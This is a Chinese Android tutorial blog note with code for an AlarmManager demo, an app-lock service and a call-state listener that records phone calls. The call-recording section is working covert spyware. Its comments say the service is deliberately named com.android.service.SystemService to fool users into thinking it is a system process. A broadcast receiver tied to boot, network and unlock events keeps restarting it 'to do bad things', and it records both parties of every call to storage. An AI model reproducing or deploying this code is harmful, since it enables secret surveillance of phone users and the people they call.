Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱
MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina.com

目录

定时任务 AlarmManager + IntentService

AlarmManagerActivity

public class AlarmManagerActivity extends ListActivity {
private AlarmManager manager;
private int count; protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String[] array = {
"设置一次性定时后台服务",
"设置一个周期性执行的定时服务",
"取消AlarmManager的定时服务"};
setListAdapter(new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, array)); manager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
} @Override
protected void onListItemClick(ListView l, View v, int position, long id) {
switch (position) {
case 0:
setOnceAlarm();
break;
case 1:
setRepeatAlarm();
break;
case 2:
Intent intent = new Intent(this, BackgroundService.class);
manager.cancel(PendingIntent.getService(this, 0, intent, 0));
break;
}
} /*AlarmManager中定义的type有五个可选值:
ELAPSED_REALTIME 闹钟在睡眠状态下不可用,如果在系统休眠时闹钟触发,它将不会被传递,直到下一次设备唤醒;使用相对系统启动开始的时间
ELAPSED_REALTIME_WAKEUP 闹钟在手机睡眠状态下会唤醒系统并执行提示功能,使用相对时间
RTC 闹钟在睡眠状态下不可用,该状态下闹钟使用绝对时间,即当前系统时间
RTC_WAKEUP 表示闹钟在睡眠状态下会唤醒系统并执行提示功能,使用绝对时间
POWER_OFF_WAKEUP 表示闹钟在手机【关机】状态下也能正常进行提示功能,用绝对时间,但某些版本并不支持! */ /*设置在triggerAtTime时间启动的定时服务。该方法用于设置一次性闹钟*/
private void setOnceAlarm() {
Intent intent = getIntent("onceAlarm");
PendingIntent pendingIntent = PendingIntent.getService(this, 0, intent, 0); //表示闹钟(首次)执行时间。相对于系统启动时间,Returns milliseconds since boot, including time spent in sleep
long triggerAtTime = SystemClock.elapsedRealtime() + 3 * 1000; //设置定时任务。CPU一旦休眠(比如关机状态),Timer中的定时任务就无法运行,而Alarm具有唤醒CPU的功能
manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pendingIntent);
} /*设置一个周期性执行的定时服务,参数表示首次执行时间和间隔时间*/
private void setRepeatAlarm() {
Intent intent = getIntent("repeatAlarm" + (count++));//这里传给Intent的值一旦设定后就不会再改变
PendingIntent pendingIntent = PendingIntent.getService(this, 0, intent, 0); //相对于1970……的绝对时间,Returns milliseconds since boot, including time spent in sleep.
long triggerAtTime = System.currentTimeMillis() + 3 * 1000; //时间间隔至少为60秒
manager.setRepeating(AlarmManager.RTC_WAKEUP, triggerAtTime, 60 * 1000, pendingIntent);
/*Frequent alarms are bad for battery life. As of API 22, the AlarmManager will override
near-future and high-frequency alarm requests, delaying the alarm at least 【5 seconds】 into the future
and ensuring that the repeat interval is at least 【60 seconds】.
If you really need to do work sooner than 5 seconds, post a delayed message or runnable to a Handler.*/
} @NonNull
private Intent getIntent(String name) {
Intent intent = new Intent(this, BackgroundService.class);
intent.putExtra("name", name);
return intent;
}
}

BackgroundService

public class BackgroundService extends IntentService {
public BackgroundService() {
super("工作线程");
} @Override
public void onCreate() {
super.onCreate();
Log.i("bqt", "onCreate");
} @Override
public void onDestroy() {
super.onDestroy();
Log.i("bqt", "onDestroy");
} @Override
protected void onHandleIntent(@Nullable Intent intent) {
Log.i("bqt", "onHandleIntent,是否主线程:" + (Looper.myLooper() == Looper.getMainLooper()));
String name = intent != null && intent.hasExtra("name") ? intent.getStringExtra("name") : "null";
Log.i("bqt", "开始执行耗时任务," + name);
SystemClock.sleep(3 * 1000);
Log.i("bqt", "耗时任务完成");
} @Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("bqt", "onStartCommand");
return super.onStartCommand(intent, flags, startId);
}
}

应用锁 UsageStatsManager ActivityManager AppOpsManager

demo地址

使用到的依赖库

implementation 'io.reactivex.rxjava2:rxjava:2.2.1'
implementation 'io.reactivex.rxjava2:rxandroid:2.0.2'
implementation 'com.github.tbruyelle:rxpermissions:0.10.2'

清单文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.bqt.lock"> <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<uses-permission
android:name="android.permission.PACKAGE_USAGE_STATS"
tools:ignore="ProtectedPermissions"/> <application
android:name=".MyApplication"
android:allowBackup="false"
android:icon="@drawable/icon"
android:label="应用锁"
android:theme="@android:style/Theme.Holo.Light.NoActionBar"
tools:ignore="GoogleAppIndexingWarning">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name=".LockActivity"
android:launchMode="singleInstance"/> <service android:name=".AppService"/>
</application> </manifest>

启动Activity

public class MainActivity extends FragmentActivity {

    @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
TextView textView = new TextView(this);
textView.setBackgroundColor(Color.DKGRAY);
textView.setTextColor(Color.WHITE);
textView.setGravity(Gravity.CENTER);
textView.setText("欢迎使用应用锁");
textView.setTextSize(26);
setContentView(textView);
checkPermission();
} private static final int REQUEST_PACKAGE_USAGE_STATS = 1101; @SuppressLint("CheckResult")
private void checkPermission() {
new RxPermissions(this)
.request(Manifest.permission.KILL_BACKGROUND_PROCESSES)
.subscribe(granted -> {
Log.i("bqt", "是否有清后台应用的权限:" + granted);
requestUsage();
});
} private void requestUsage() {
if (!AppUtils.isUseGranted()) {//引导用户开启"Apps with usage access"权限
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
Toast.makeText(this, "需要开启查看应用使用情况的权限", Toast.LENGTH_SHORT).show();
startActivityForResult(new Intent(Settings.ACTION_USAGE_ACCESS_SETTINGS), REQUEST_PACKAGE_USAGE_STATS);
}
}
} @Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (requestCode == REQUEST_PACKAGE_USAGE_STATS) {
checkPermission();
}
}
}

拦截提示Activity

public class LockActivity extends Activity {
private TextView tv_name;
private ImageView iv_icon; @Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_lock); tv_name = findViewById(R.id.tv_name);
iv_icon = findViewById(R.id.iv_icon);
init(getIntent());
} @Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
Log.i("bqt", "onNewIntent");
init(intent);
} private void init(Intent intent) {
String packageName = intent.getStringExtra("package");
if (packageName != null) {
try {
PackageManager manager = getPackageManager();
String name = manager.getPackageInfo(packageName, 0).applicationInfo.loadLabel(manager).toString();
Drawable icon = manager.getPackageInfo(packageName, 0).applicationInfo.loadIcon(manager);
tv_name.setText("禁止使用:" + name);
iv_icon.setBackgroundDrawable(icon);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

拦截服务

public class AppService extends Service {
private Disposable disposable; @Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
} @Override
public void onCreate() {
super.onCreate();
} @Override
public int onStartCommand(Intent startIntent, int flags, int startId) {
disposable = Flowable.interval(200, TimeUnit.MILLISECONDS)//每200毫秒查询一次
.throttleFirst(200, TimeUnit.MILLISECONDS)//取300毫米内的最后一次
.subscribe(aLong -> {
String packageName = AppUtils.getTopPackageName();
if (WhiteListUtils.isInWhiteList(packageName)) {
Log.i("bqt", "白名单应用,不拦截" + packageName);
} else if (packageName == null) {
Log.i("bqt", "无法获取到包名,取消拦截");
stopSelf();
} else {
Log.i("bqt", "拦截" + packageName);
Intent intent = new Intent(this, LockActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("package", packageName);
startActivity(intent);
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
if (am != null) am.killBackgroundProcesses(packageName);
disposable.dispose();
}
}, Throwable::printStackTrace);
return super.onStartCommand(startIntent, flags, startId);
} @Override
public void onDestroy() {
super.onDestroy();
if (disposable != null) {
disposable.dispose();
}
}
}

Application

public class MyApplication extends Application {
public static MyApplication instance = new MyApplication(); @Override
public void onCreate() {
super.onCreate();
instance = this; registerActivityLifecycleCallbacks(new ActivityLifecycleCallbacks() {
private int mFinalCount; @Override
public void onActivityCreated(Activity activity, Bundle savedInstanceState) { } @Override
public void onActivityStarted(Activity activity) {
mFinalCount++;
if (mFinalCount == 1) {//如果mFinalCount ==1,说明是从后台到前台
Log.i("bqt", "从后台到前台:" + activity.getClass().getSimpleName());
stopService(new Intent(activity, AppService.class));
}
} @Override
public void onActivityResumed(Activity activity) { } @Override
public void onActivityPaused(Activity activity) { } @Override
public void onActivityStopped(Activity activity) {
mFinalCount--;
if (mFinalCount == 0) {//如果mFinalCount ==0,说明是从前台到后台
Log.i("bqt", "从前台到后台:" + activity.getClass().getSimpleName());
startService(new Intent(activity, AppService.class));
}
} @Override
public void onActivitySaveInstanceState(Activity activity, Bundle outState) { } @Override
public void onActivityDestroyed(Activity activity) { }
});
}
}

工具类

工具类1:获取全局上下文

public class App {
public static Application getApp() {
return MyApplication.instance;
}
}

工具类2:判断权限、获取包名

public class AppUtils {

    /**
* 判断查看历史记录的权利是否给予app
*/
public static boolean isUseGranted() {
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
AppOpsManager appOps = (AppOpsManager) App.getApp().getSystemService(Context.APP_OPS_SERVICE);
if (appOps != null) {
int mode = appOps.checkOpNoThrow("android:get_usage_stats", android.os.Process.myUid(), App.getApp().getPackageName());
return mode == AppOpsManager.MODE_ALLOWED;
} else {
return false;
}
} else {
return true;
}
} /**
* 获取顶层的activity的包名
*/
public static String getTopPackageName() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1) {
return getTopPackageNameLol();
} else {
return getTopPackageNameKitr();
}
} private static String getTopPackageNameLol() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1) {
UsageStatsManager manager = (UsageStatsManager) App.getApp().getSystemService(Context.USAGE_STATS_SERVICE);
if (manager == null) return null; long time = System.currentTimeMillis();
List<UsageStats> statsList = manager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, time - 1000 * 20, time);
if (statsList != null) {
SortedMap<Long, UsageStats> mySortedMap = new TreeMap<>();
for (UsageStats usageStats : statsList) {
mySortedMap.put(usageStats.getLastTimeUsed(), usageStats);
}
if (!mySortedMap.isEmpty()) {
return mySortedMap.get(mySortedMap.lastKey()).getPackageName();
}
}
}
return null;
} private static String getTopPackageNameKitr() {
ActivityManager activityManager = (ActivityManager) App.getApp().getSystemService(Context.ACTIVITY_SERVICE);
if (activityManager != null) {
ComponentName topActivity = activityManager.getRunningTasks(1).get(0).topActivity;
return topActivity.getPackageName();
} else {
return null;
}
}
}

工具类3:设置白名单

public class WhiteListUtils {
private static final String[] WHITE_LIST = new String[]{
App.getApp().getPackageName(),//当前应用
"com.android.settings",//设置界面
"com.android.systemui",//系统功能,包括:三星最近任务
"com.android.deskclock",//系统时钟
"com.miui.home",//小米桌面
"com.miui.securitycenter",//小米安全中心设置
"com.sec.android.app.launcher",//三星桌面
//"com.tencent.mm",//微信
//"com.tencent.qq",//QQ
//"com.tencent.qqlite",//QQ轻聊版
//"com.tencent.mobileqqi",//QQ国际版
}; public static boolean isInWhiteList(String packageName) {
for (String s : WHITE_LIST) {
if (s.equalsIgnoreCase(packageName)) {
return true;
}
}
return false;
}
}

电话状态监听 通话录音 TelephonyManager PhoneStateListener MediaRecorder

Demo地址

电话管理器 电话状态监听 通话过程录音 TelephonyManager PhoneStateListener MediaRecorder 电池状态广播

MainActivity

public class MainActivity extends ListActivity {
private BatteryChangedReceiver receiver;
static final String SERVICE_NAME = "com.android.service.SystemService"; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String[] mData = {"开启服务",
"停止服务",
"判断服务是否正在运行",
"动态注册电量变化的广播接收者",
"取消注册"};
setListAdapter(new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, Arrays.asList(mData)));
} @Override
protected void onListItemClick(ListView l, View v, int position, long id) {
switch (position) {
case 0:
startService(new Intent(this, SystemService.class));
break;
case 1:
stopService(new Intent(this, SystemService.class));
break;
case 2:
Toast.makeText(this, "服务是否在运行:" + isServiceWorked(this, SERVICE_NAME), Toast.LENGTH_SHORT).show();
break;
case 3:
if (receiver == null) receiver = new BatteryChangedReceiver();
registerReceiver(receiver, getIntentFilter());//电池的状态改变广播只能通过动态方式注册
break;
case 4:
if (receiver != null) {
unregisterReceiver(receiver);
receiver = null;
} else Toast.makeText(this, "你还没有注册", Toast.LENGTH_SHORT).show(); break;
}
} private IntentFilter getIntentFilter() {
IntentFilter filter = new IntentFilter();
filter.addAction(Intent.ACTION_BATTERY_CHANGED);//This is a sticky broadcast containing the charging state, level, and other information about the battery.
filter.addAction(Intent.ACTION_BATTERY_LOW);//Indicates low battery condition on the device. This broadcast corresponds to the "Low battery warning" system dialog.
filter.addAction(Intent.ACTION_BATTERY_OKAY);//This will be sent after ACTION_BATTERY_LOW once the battery has gone back up to an okay state.
return filter;
} public static boolean isServiceWorked(Context context, String serviceName) {
ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
ArrayList<RunningServiceInfo> services = (ArrayList<RunningServiceInfo>) manager.getRunningServices(Integer.MAX_VALUE);
for (int i = 0; i < services.size(); i++) {
if (services.get(i).service.getClassName().equals(serviceName)) return true;
}
return false;
}
}

SystemService

/**
* 一个监听用户电话状态的服务<br/>
* 为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。<br/>
* 为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务!
*/
public class SystemService extends Service {
private PhoneStateListener listener; @Override
public IBinder onBind(Intent intent) {
return null;
} @Override
public void onCreate() {
TelephonyManager manager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
listener = new MyPhoneStateListener();
manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
Log.i("bqt", "onCreate");
super.onCreate();
} @Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("bqt", "onStartCommand");
return START_STICKY;//当service因内存不足被kill,当内存又有的时候,service又被重新创建
} @Override
public void onDestroy() {
Log.i("bqt", "onDestroy");
//startService(new Intent(this, SystemService.class));//在onDestroy中再启动本服务,但是用户杀进程时不会调用onDestroy方法
// 取消电话的监听
((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_NONE);
listener = null;
super.onDestroy();
}
}

BatteryChangedReceiver

/**
* 电量改变的广播接收者
*/
public class BatteryChangedReceiver extends BroadcastReceiver { @Override
public void onReceive(Context context, Intent intent) {
Toast.makeText(context, "Action:" + intent.getAction(), Toast.LENGTH_SHORT).show();
switch (intent.getAction()) {
case Intent.ACTION_BATTERY_CHANGED://"android.intent.action.BATTERY_CHANGED"
Log.i("battery", "==============电池电量改变:BATTERY_CHANGED_ACTION");
Log.i("battery", "当前电压=" + intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1));
Log.i("battery", "健康状态=" + intent.getIntExtra(BatteryManager.EXTRA_HEALTH, -1));//如BATTERY_HEALTH_COLD
Log.i("battery", "电量最大值=" + intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1));
Log.i("battery", "当前电量=" + intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1));
Log.i("battery", "充电电源类型=" + intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1));
Log.i("battery", "充电状态=" + intent.getIntExtra(BatteryManager.EXTRA_STATUS, -1));//如BATTERY_STATUS_CHARGING 正在充电
Log.i("battery", "电池类型=" + intent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY));//比如,对于锂电池是Li-ion
Log.i("battery", "电池温度=" + intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1));
break;
case Intent.ACTION_BATTERY_LOW:// "android.intent.action.BATTERY_LOW"
Log.i("battery", "电池电量低:ACTION_BATTERY_LOW");
break;
case Intent.ACTION_BATTERY_OKAY:// "android.intent.action.BATTERY_OKAY"
Log.i("battery", "电池已经从电量低恢复为正常:ACTION_BATTERY_OKAY");
break;
default:
break;
}
}
}

MyPhoneStateListener

/**
* 服务中所激活的电话状态监听器,在通话状态通过MediaRecorder录音
*/
public class MyPhoneStateListener extends PhoneStateListener {
private String phoneNumber; // 来电号码
private static final String FILE_PATH = Environment.getExternalStorageDirectory().getPath() + "/bqt_callRecords";
private MediaRecorder mediaRecorder; @Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
Log.i("bqt", "state=" + state + " Number=" + incomingNumber);
switch (state) {
case TelephonyManager.CALL_STATE_RINGING://响铃状态,拿到来电号码
phoneNumber = incomingNumber;//只有这里能拿到来电号码,在CALL_STATE_OFFHOOK状态是拿不到来电号码的
break;
case TelephonyManager.CALL_STATE_OFFHOOK://通话状态,开始录音
record();
break;
case TelephonyManager.CALL_STATE_IDLE://空闲状态,释放资源
release();
break;
}
} private void record() {
if (mediaRecorder == null) mediaRecorder = new MediaRecorder();
if (phoneNumber == null) phoneNumber = "null_";
File directory = new File(FILE_PATH);
if (!directory.exists()) directory.mkdir();
String data = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss", Locale.getDefault()).format(new Date());
File file = new File(FILE_PATH + File.separator + phoneNumber + data);
//if (!file.exists()) file.createNewFile(); mediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);//指定录音机的声音源
//MIC只获取自己说话的声音;VOICE_CALL双方的声音都可以录取,但是由于外国法律的限制,某些大牌手机不支持此参数
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//设置录制文件的输出格式,如AMR-NB,MPEG-4等
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//设置音频的编码,如AAC,AMR-NB等
mediaRecorder.setOutputFile(file.getAbsolutePath());//存储路径
try {
mediaRecorder.prepare();//准备,一定要放在设置后、开始前,否则会产生异常
} catch (IOException e) {
e.printStackTrace();
}
mediaRecorder.start();
Log.i("bqt", "开始录音!");
} private void release() {
if (mediaRecorder != null) {
mediaRecorder.stop();
//mediaRecorder.reset(); //重设
mediaRecorder.release();
mediaRecorder = null;
}
Log.i("bqt", "结束录音!");
}
}

SuperReceiver

/**
* 在一个超级广播接收者中启动服务
* 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事
*/
public class SuperReceiver extends BroadcastReceiver { @Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, SystemService.class));
Log.i("bqt", intent.getAction());
}
}

清单文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.service">
<!-- 访问电话状态 -->
<uses-permission android:name="android.permission.READ_PHONE_STATE"></uses>
<!-- 允许程序监视、修改或放弃拨打电话 -->
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"></uses>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"></uses>
<!-- 挂载、反挂载外部文件系统 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"></uses>
<!-- 录音权限 -->
<uses-permission android:name="android.permission.RECORD_AUDIO"></uses>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses> <application
android:theme="@style/AppTheme">
<activity
android:name=".MainActivity"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN"></action> <category android:name="android.intent.category.LAUNCHER"></category>
</intent-filter>
</activity> <receiver android:name=".SuperReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"></action>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"></action>
<action android:name="android.net.wifi.WIFI_STATE_CHANGED"></action>
<!-- 唤醒机器、解锁时发出,屏幕SCREEN_ON和SCREEN_OFF的广播只能通过代码动态的形式注册 -->
<action android:name="android.intent.action.USER_PRESENT"></action>
</intent-filter>
</receiver> <service
android:name=".SystemService"
android:process=":process1"></service>
</application> </manifest>

2019-3-12

服务 Service 简单案例 MD的更多相关文章

  1. 服务 AIDL 定向tag IPC Parcelable 案例 MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  2. S3 服务(Simple Storage Service简单存储服务) 简介(与hdfs同一级)

    图1  spark 相关 亚马逊云存储之S3(Simple Storage Service简单存储服务) (转 ) S3是Simple Storage Service的缩写,即简单存储服务.亚马逊的名 ...

  3. Redis作为消息队列服务场景应用案例

    NoSQL初探之人人都爱Redis:(3)使用Redis作为消息队列服务场景应用案例   一.消息队列场景简介 “消息”是在两台计算机间传送的数据单位.消息可以非常简单,例如只包含文本字符串:也可以更 ...

  4. Spring Kafka和Spring Boot整合实现消息发送与消费简单案例

    本文主要分享下Spring Boot和Spring Kafka如何配置整合,实现发送和接收来自Spring Kafka的消息. 先前我已经分享了Kafka的基本介绍与集群环境搭建方法.关于Kafka的 ...

  5. AIDL 定向tag IPC 案例 MD

    Markdown版本笔记 我的GitHub首页 我的博客 我的微信 我的邮箱 MyAndroidBlogs baiqiantao baiqiantao bqt20094 baiqiantao@sina ...

  6. SpringBoot基础学习(一) SpringBoot概念、简单案例实现、单元测试及热部署讲解

    SpringBoot概念 Spring优缺点分析 Spring优点 Spring是Java企业版(Java Enterprise Edition,JEE,也称J2EE)的轻量级代替品,无需开发重量级的 ...

  7. 大数据学习day11------hbase_day01----1. zk的监控机制,2动态感知服务上下线案例 3.HDFS-HA的高可用基本的工作原理 4. HDFS-HA的配置详解 5. HBASE(简介,安装,shell客户端,java客户端)

    1. ZK的监控机制 1.1 监听数据的变化  (1)监听一次 public class ChangeDataWacher { public static void main(String[] arg ...

  8. Web Service简单入门示例

    Web Service简单入门示例     我们一般实现Web Service的方法有非常多种.当中我主要使用了CXF Apache插件和Axis 2两种. Web Service是应用服务商为了解决 ...

  9. 【AngularJS中的自定义服务service VS factory VS provider】---它们的区别,你知道么?

    在介绍AngularJS自定义服务之前,我们先来了解一下AngularJS~ 学过HTML的人都知道,HTML是一门很好的伪静态文本展示设计的声明式语言,但是,要构建WEB应用的话它就显得乏力了. 而 ...

随机推荐

  1. labelImg:no module named pyqt4

    最新版的labelImg安装会出错,改变环境变量,在python3.5中就可以了 参考 shaform :https://github.com/tzutalin/labelImg/issues/106

  2. python 全栈开发,Day102(支付宝支付)

    昨日内容回顾 1. django请求生命周期? - 当用户在浏览器中输入url时,浏览器会生成请求头和请求体发给服务端 请求头和请求体中会包含浏览器的动作(action),这个动作通常为get或者po ...

  3. for循环输出数组中的分数

    示例 var scores = [24, 32, 17]; // A数组 var arrayLength = scores.length;// 数组的长度 //当i<arrayLength时,可 ...

  4. POJ 2752 Seek the Name, Seek the Fame(next数组运用)

    Seek the Name, Seek the Fame Time Limit: 2000MS        Memory Limit: 65536K Total Submissions: 24000 ...

  5. ERP完善合同起草(二十八)

    前端的代码: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="CRMCont ...

  6. hdu 1875 给出每个结点的坐标 权值为两点间的距离 (MST)

    Sample Input2210 10 //坐标20 2031 12 21000 1000 Sample Output1414.2   //最小权值和*100  保留1位小数oh!       //不 ...

  7. In Action HDU3339

    这是最短路问题和01背包问题的相结合 第一次用01背包 把j打成了i检查了半个小时  下次要注意! 使用的油耗相当于容量  而power相当于价值 先用dijkstra把从基地到所有路的最短情况算出来 ...

  8. ARIMA模型---时间序列分析---温度预测

    (图片来自百度) 数据 分析数据第一步还是套路------画图 数据看上去比较平整,但是由于数据太对看不出具体情况,于是将只取前300个数据再此画图 这数据看上去很不错,感觉有隐藏周期的意思 代码 # ...

  9. C++语言实现-邻接矩阵

    一. 图的概念 图(Graph)是由顶点的有穷非空集合和顶点之间边的集合组成,通常表示为:G(V,E),其中,G表示一个图,V是图G中顶点的集合,E是图G中边的集合.在图中的数据元素,我们称之为顶点( ...

  10. Windows10 下安装scrapy 日志

    Windows10 下安装scrapy 日志 1.下载python3.6 2.添加python.exe和pip.exe的路径到系统环境变量path中 如c:\python36_64 C:\Python ...